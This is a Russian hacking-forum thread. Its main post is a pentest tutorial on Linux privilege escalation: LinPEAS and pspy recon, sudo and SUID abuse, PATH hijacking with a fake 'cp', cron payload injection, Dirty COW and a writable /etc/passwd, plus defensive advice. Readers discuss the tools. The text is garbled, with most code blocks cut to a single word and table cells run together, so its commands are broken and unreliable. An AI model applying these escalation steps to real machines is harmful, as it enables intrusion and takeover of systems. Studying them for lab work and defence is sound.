![]() |
https://forum.antichat.xyz/attachmen...8b15d58732.png
Ты получил shell на машине. Курсор мигает от имени Код:
www-dataКод:
low-priv-userЧто такое privilege escalation Linux и зачем это пентестеру Эскалация привилегий Linux - получение более высоких прав в системе, чем те, что есть у текущего пользователя. В терминах MITRE ATT&CK это целая тактика Privilege Escalation с десятками техник: от Exploitation for Privilege Escalation (T1068) до Setuid and Setgid (T1548.001) и Sudo and Sudo Caching (T1548.003). На практике повышение привилегий - обязательный этап любого пентеста. Получив initial access, атакующий видит систему глазами непривилегированного пользователя. Чтобы стянуть хеши из Код:
/etc/shadowПовышение привилегий бывает двух видов:
Ручная разведка: первые команды после foothold Прежде чем запускать автоматику, я всегда делаю базовую разведку руками. Две минуты работы, зато потом вывод LinPEAS читается осмысленно, а не как простыня текста. Команды ниже покрывают несколько техник Discovery по MITRE ATT&CK: Код:
whoamiКод:
idКод:
hostnameКод:
uname -aКод:
cat /etc/os-releaseКто я и где я Bash: Код:
whoamiКод:
idКод:
dockerКод:
lxdКод:
diskПроверка sudo Bash: Код:
sudoКод:
sudo -lКод:
NOPASSWDПоиск SUID-бинарей Bash: Код:
findCron-задачи и таймеры Bash: Код:
catBash: Код:
ipBash: Код:
historyLinPEAS: автоматизация разведки для повышения привилегий LinPEAS (Linux Privilege Escalation Awesome Script) автоматизирует всё, что я описал выше, и добавляет сотни проверок сверху. Я запускаю его на каждой машине после ручной разведки, потому что глаз пропускает вещи: capabilities на бинарях, writable PATH-директории, утечки токенов в переменных окружения. LinPEAS это находит. Как запустить LinPEAS Ты уже на целевой машине. Способ доставки зависит от ситуации: Вариант 1 - через HTTP-сервер атакующего: Bash: Код:
# На атакующей машине (Kali/Parrot):Bash: Код:
# На целевой машине:Bash: Код:
curlКод:
/procКод:
auditdКак читать вывод LinPEAS LinPEAS использует цветовую маркировку. Вот что реально важно: ЦветЗначениеДействиеКрасн ый/ЖёлтыйС вероятностью 95% это вектор повышения привилегийЭксплуатируй - почти наверняка рабочий векторКрасныйНужно изучить - может потребовать дополнительных условийКопни глубже перед эксплуатациейЗелёныйИнтер есная информация для дальнейшего анализаЗапомни на потомСинийОбычная системная информацияИспользуй для контекста Лично я сначала пролистываю весь вывод, выцепляя красно-жёлтые строки. Чаще всего они указывают на:
LinEnum - ещё один скрипт для перечисления системной информации. Он менее детализирован, чем LinPEAS, зато работает быстрее и даёт чистый, легко читаемый вывод. Я беру LinEnum, когда нужна скорость или когда LinPEAS по какой-то причине не запускается (бывает на урезанных контейнерах). Запуск LinEnum Bash: Код:
# Доставка аналогична LinPEAS:Сравнение инструментов автоматизации ИнструментНазначениеЦвето вая маркировкаСкоростьГлубина LinPEASПолная разведка привилегийДаСредняяМаксим альнаяLinEnumПеречисление системной информацииНетВысокаяСредн яяpspyМониторинг процессов без rootНетРеальное времяУзкая (процессы)Linux Exploit SuggesterПоиск kernel exploitsНетВысокаяУзкая (ядро)Linux Smart EnumerationПеречисление с уровнями детализацииЧастичноСредня яНастраиваемая pspy заслуживает отдельного слова. Это штука для мониторинга процессов в реальном времени без root-прав. Незаменима, когда cron-задача выполняется по расписанию, но не видна в Код:
/etc/crontabBash: Код:
# Запуск pspy:Теория - хорошо, но без практики это просто буквы. Для каждой техники - сценарий, команды и объяснение, почему это работает. Sudo misconfiguration: злоупотребление правами sudo Техника Sudo and Sudo Caching (T1548.003, Privilege Escalation / Defense Evasion) - самый частый вектор на CTF и один из самых распространённых в реальных средах. Шаг 1 - проверяем sudo-права: Bash: Код:
sudoКод: Код:
User www-data may run the following commands on target:Идём на GTFOBins и ищем Код:
findBash: Код:
sudoBash: Код:
sudoКод:
findКод:
-execКод:
NOPASSWDДругие опасные бинари в sudo: Код:
vimКод:
nanoКод:
lessКод:
awkКод:
perlКод:
pythonКод:
rubyКод:
envКод:
manКод:
sudo -lSUID бит Linux: эксплуатация через бинари с setuid SUID-бит (Set User ID upon execution) - специальное разрешение, при котором файл выполняется с правами владельца. Техника Setuid and Setgid (T1548.001, Privilege Escalation / Defense Evasion). Шаг 1 - находим SUID-бинари: Bash: Код:
findКод: Код:
131085 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /usr/bin/mountКод:
mountКод:
passwdКод:
pingКод:
/opt/custom-backupШаг 2 - анализируем нестандартный бинарь: Bash: Код:
fileКод:
stringsКод:
cpКод:
/usr/bin/cpКод:
system()Код:
popen()Код:
execve()Код:
ltraceКод:
straceШаг 3 - эксплуатация через PATH: Bash: Код:
# Создаём вредоносный "cp" в /tmp:Код:
-pКод:
-pЦитата:
Cron-задачи - любимый вектор пентестеров. Админы создают скрипты бэкапа от root, а права на сами скрипты выставляют как попало. Классика жанра. Шаг 1 - находим cron-задачи: Bash: Код:
catКод: Код:
* * * * * root /opt/scripts/backup.shBash: Код:
lsКод:
777Шаг 3 - внедряем payload: Bash: Код:
echoBash: Код:
# Через минуту:Код:
/etc/crontabКод:
/procKernel exploit: эксплуатация уязвимостей ядра Техника Exploitation for Privilege Escalation (T1068, Privilege Escalation) - последнее средство, когда остальные векторы не сработали. Kernel exploits нестабильны и могут уронить систему, поэтому в реальном пентесте их используют с осторожностью (и с письменным согласием заказчика). Классический пример - Dirty COW (CVE-2016-5195). По данным NVD: race condition в Код:
mm/gup.cКод:
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HРазбор CVSS-вектора (чтобы не казался магическими буквами):
Bash: Код:
# 1. Узнаём версию ядра:Writable /etc/passwd: добавление root-пользователя Если файл Код:
/etc/passwdBash: Код:
# Проверяем права:Пошаговый чейн: от shell до root Собираю всё в единый алгоритм - так я работаю на реальной машине: Делай раз - базовая разведка руками: Bash: Код:
whoamiКод:
sudo -lДелай два - запускай LinPEAS: Bash: Код:
curlКод:
getcap -r / 2>/dev/nullДелай три - мониторинг и глубокий анализ: Bash: Код:
# Если ничего не нашлось - запускай pspy:Как автоматика конкурирует с ручным анализом Согласно исследованию Happe и Cito (2023), «LLMs as Hackers: Autonomous Linux Privilege Escalation Attacks» (arxiv.org), GPT-4-Turbo успешно эксплуатировал от 33% до 83% уязвимостей в benchmark privilege escalation - сравнимо с результатами профессиональных пентестеров (75%). При этом даже продвинутые модели спотыкались на multi-step эксплуатации: например, не могли связать найденный SUID-бинарь с необходимостью проверить его в GTFOBins. Что это значит на практике? LinPEAS и LinEnum не заменяют думающего пентестера. Скрипт покажет данные, но связать находки в рабочий чейн - твоя работа. LinPEAS может пометить Код:
/usr/bin/python3Код:
cap_setuidBash: Код:
# Пример: Python с cap_setuidПонимание атак даёт понимание защиты. Конкретные рекомендации: Вектор атакиМера защитыSudo misconfigurationНикогда не давать sudo на shell-интерпретаторы, редакторы, find, awk. Строго определённые команды с полным путёмSUID на нестандартных бинаряхРегулярно аудитировать: Код:
find / -perm -4000 -type f -lsКод:
chmod u-s /path/to/binaryКод:
livepatchКод:
/etc/passwdКод:
/etc/shadowИтоги Повышение привилегий Linux - не магия и не набор готовых рецептов. Это системный процесс: разведка, анализ, эксплуатация. LinPEAS и LinEnum автоматизируют разведку, GTFOBins дают справочник по эксплуатации, pspy помогает увидеть скрытые процессы. А связать всё это в рабочий чейн - задача пентестера, не скрипта. Начни с лабораторий. На TryHackMe есть комнаты «Linux PrivEsc» и «Linux PrivEsc Arena», на HackerLab - десятки машин с различными векторами. Запускай LinPEAS на каждой, учись читать вывод, проверяй находки вручную. Через двадцать машин ты будешь видеть вектор быстрее, чем скрипт закончит работу. Проверено. |
Да LinPeas это чуть ли не основная утилита, для быстрого поиска повышения привелегий в linux системах. pspy тоже крутая утилита, для поиска процессов запускающихся и запущенных в реальном времени. Остальные утилиты уже давненько так на гитхабе не обновляются...
|
Вау, круто расписано! Только вот вопрос у меня: если LinPEAS находит что-то красное, реально ли всегда можно сразу же этим воспользоваться, или чаще приходится копать глубже? Просто иногда боюсь, что могу что-то упустить или не понять из вывода скрипта. И ещё, а pspy реально не может ловить процессы, которые быстро стартуют и убиваются? Или он таки все успевает подхватить?
|
LinPEAS красное не всегда прям «золотой ключ», иногда надо глянуть контекст, понять ограничения и проверить руками. pspy — норм, но очень быстрые процессы может не поймать, особенно если они моментально стартуют и уходят, там лучше долго гонять или комбинировать с другими методами.
|
Да, LinPEAS — классный инструмент для быстрого старта, но часто с него только отправная точка. Красное — это повод посмотреть внимательнее, иногда подводят особенности окружения или конфигурации. pspy полезен, чтобы увидеть процессы, которые не вылезают в стандартных списках, но не гарантия что поймает прям все мгновенные вызовы. Ручной анализ и понимание контекста — всегда важнее, иначе много что ускользнёт.
|
Раньше всё было проще — вручную лазил, искал SUID, sudo, смотрел крон, глядел процессы. Сейчас LinPEAS и LinEnum сделали жизнь легче, но без мозгов и понимания системы скрипт мало что даст. pspy реально классно ловит скрытые процессы, но не все молниеносные шутки уловит. Вообще, эти инструменты — хороший старт, но без ручной работы далеко не уйдёшь. Так что скрипты — помощники, а не замена мышлению.
|
LinPEAS и LinEnum реально экономят время, но без понимания того, что и зачем ты проверяешь, можно легко пропустить важный вектор. Особо полезен pspy, если есть подозрения на скрытые cron-задачи или неожиданные процессы. Главное — не кидаться сразу в эксплойты, а внимательно смотреть, где именно красное и что реально можно использовать. Автоматизация — это помощник, а не волшебная палочка.
|
Не всегда красное в LinPEAS сразу можно использовать, часто там просто подсказки, куда дальше копать. А про pspy — да, он не поймает очень быстрые процессы, особенно если они стартуют и закрываются за пару секунд, там надо чуть больше времени прогонять или комбинировать с другими способами. Так что просто смотрю красное, потом проверяю вручную и думаю, что реально применимо.
|
Точно, часто красное в LinPEAS — это просто подсказка, а не готовый рецепт. Нужно самому разбираться, что за уязвимость и реально ли её использовать. pspy хорошо ловит процессы, но про молниеносные вообще всё верно — не всегда успевает, тут лучше его запускать подольше или дополнять ручным мониторингом. В целом, эти штуки помогают, но без головы и времени толку мало.
|
Точно, LinPEAS и LinEnum дают направление, но без ручной проверки и понимания ситуации мало толку. pspy хорошо подловит процессы, которые скрываются, но на быстрые действительно не выйдет — тут можно на часок запустить и потом уже копать. Главное — не жадничать и проверять каждый «красный» момент, а не слепо верить скриптам.
|
Точно, LinPEAS и LinEnum сейчас как карты в руке — покажут где копать, но без собственной головы с ними далеко не уедешь. pspy полезен, чтобы всё подглядеть, что скрылось, но если процессы на доли секунд — легко промахнуться. В общем, инструменты класс, но смотрю всегда по ситуации руками, не доверяю им слепо. Раньше больше времени убивал на ручной разбор, теперь успеваю быстрее, но без мозгов никак.
|
Ну да, LinPEAS с LinEnum — это как шпаргалки на экзамене, но если на тему не знаешь, то хоть пятёрку, хоть двоечку поставят, смысл? pspy вообще квест для терпеливых, пока ты бегаешь вокруг, процессы уже растворились. Без мозгов и времени никуда, хоть с этими, хоть без них.
|
| Время: 19:11 |